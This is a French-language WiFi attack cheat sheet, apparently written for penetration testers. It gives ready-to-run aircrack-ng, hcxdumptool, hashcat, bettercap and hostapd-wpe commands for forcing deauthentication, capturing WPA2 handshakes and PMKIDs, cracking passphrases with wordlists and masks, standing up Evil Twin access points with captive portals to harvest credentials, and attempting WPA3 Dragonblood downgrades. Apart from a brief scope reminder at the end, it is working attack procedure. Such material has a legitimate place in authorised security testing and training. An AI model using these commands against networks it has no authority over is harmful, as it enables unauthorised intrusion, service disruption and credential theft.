Attaques WiFi — WPA2, PMKID, Evil Twin
Capturer des handshakes WPA2, attaque PMKID, Evil Twin, WPA Enterprise — aircrack-ng & hashcat
Mise en place mode monitor
# Tuer les processus qui interfèrent (NetworkManager, wpa_supplicant)airmon-ng check kill# Créer l'interface monitorairmon-ng start wlan0# Vérifier le mode monitoriwconfig wlan0mon# Changer de canaliw dev wlan0mon set channel {{CHANNEL}}
Reconnaissance WiFi
# Scanner tous les réseaux visiblesairodump-ng wlan0mon# Cibler un AP spécifique (écrire dans capture-01.cap)airodump-ng -c {{CHANNEL}} --bssid {{BSSID}} -w capture wlan0mon
Colonnes importantes dans airodump-ng :
| Colonne | Description | |---------|-------------| | BSSID | MAC de l'AP | | PWR | Force du signal (plus négatif = plus faible) | | Beacons | Trames de balise émises | | Data | Paquets de données capturés | | CH | Canal | | ENC | Chiffrement (OPN, WEP, WPA, WPA2) | | CIPHER | CCMP, TKIP | | AUTH | PSK, MGT (Enterprise) | | ESSID | Nom du réseau |
Capture handshake WPA2 (4-way handshake)
# Lancer la capture en ciblant l'APairodump-ng -c {{CHANNEL}} --bssid {{BSSID}} -w handshake wlan0mon# Dans un autre terminal : forcer une déauthentification pour capturer la reconnexionaireplay-ng -0 5 -a {{BSSID}} -c {{CLIENT_MAC}} wlan0mon# Vérifier que le handshake est présent dans le fichieraircrack-ng handshake-01.cap
Le handshake s'affiche en haut à droite dans airodump-ng : WPA handshake: {{BSSID}}
PMKID Attack (sans client connecté)
# Capturer le PMKID directement depuis l'AP (pas besoin de client)hcxdumptool -i wlan0mon -o capturepcapng --enable_status=3# Convertir au format hashcat 22000hcxpcapngtool -o hashhc22000 capturepcapng# Cracker le hashhashcat -m 22000 hashhc22000 /usr/share/wordlists/rockyou.txt
Le PMKID est dérivé de : PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || STA_MAC)
— pas besoin qu'un client soit connecté, l'AP diffuse l'information.
Cracking avec hashcat
# Convertir le cap en format hc22000 (remplace hccapx)hcxpcapngtool -o hashhc22000 handshake-01.cap# Attaque dictionnairehashcat -m 22000 hashhc22000 /usr/share/wordlists/rockyou.txt# Attaque avec règleshashcat -m 22000 hashhc22000 wordlisttxt -r /usr/share/hashcat/rules/best64.rule# Bruteforce masque — 8 chiffres (box opérateur)hashcat -m 22000 hashhc22000 -a 3 dddddddd# Masque alphanumérique 8 charshashcat -m 22000 hashhc22000 -a 3 aaaaaaaa# Reprendre une session interrompuehashcat -m 22000 hashhc22000 wordlisttxt --session wifi --restore
Evil Twin (AP rogue)
# Créer un AP clone avec même ESSIDairbase-ng -e "{{SSID}}" -c {{CHANNEL}} wlan0mon# Déauthentifier les clients de l'AP légitime (les forcer vers le rogue AP)aireplay-ng -0 0 -a {{BSSID}} wlan0mon# Avec bettercap (plus complet)bettercap -iface wlan0# Dans bettercap :wifirecon onwifideauth {{BSSID}}# hostapd-wpe — capture credentials WPA Enterprise (EAP-PEAP, EAP-TTLS)# Modifier /etc/hostapd-wpe/hostapd-wpe.conf : ssid={{SSID}}, channel={{CHANNEL}}hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf# Les credentials MSCHAPv2 apparaissent dans le terminal# → cracker avec asleap ou hashcat -m 5500
Portail captif pour Evil Twin : combiner avec dnsmasq + serveur web Python pour intercepter les credentials saisis sur une fausse page de connexion.
WPA3 — Dragonblood (CVE-2019-9494)
# Vérifier si le réseau est en mode transition WPA2/WPA3airodump-ng wlan0mon | grep -E "WPA2|WPA3|SAE"# Downgrade vers WPA2 si transition mode activé# → forcer la reconnexion avec un AP WPA2 (même SSID) : le client accepte WPA2# Side-channel timing attack sur SAE handshake# Outil dragonslayer (PoC Mathy Vanhoef)git clone https//github.com/vanhoefm/dragonslayerpython3 dragonslayer/dragonslayer.py -i wlan0mon -b {{BSSID}}
Toujours vérifier le scope avant tout test WiFi — certains clients excluent explicitement les tests sans fil. Pour maximiser les chances de capture du handshake, positionner l'antenne entre le client et l'AP légitime et utiliser un adaptateur WiFi avec support de l'injection de paquets (Alfa AWUS036ACH, AWUS1900).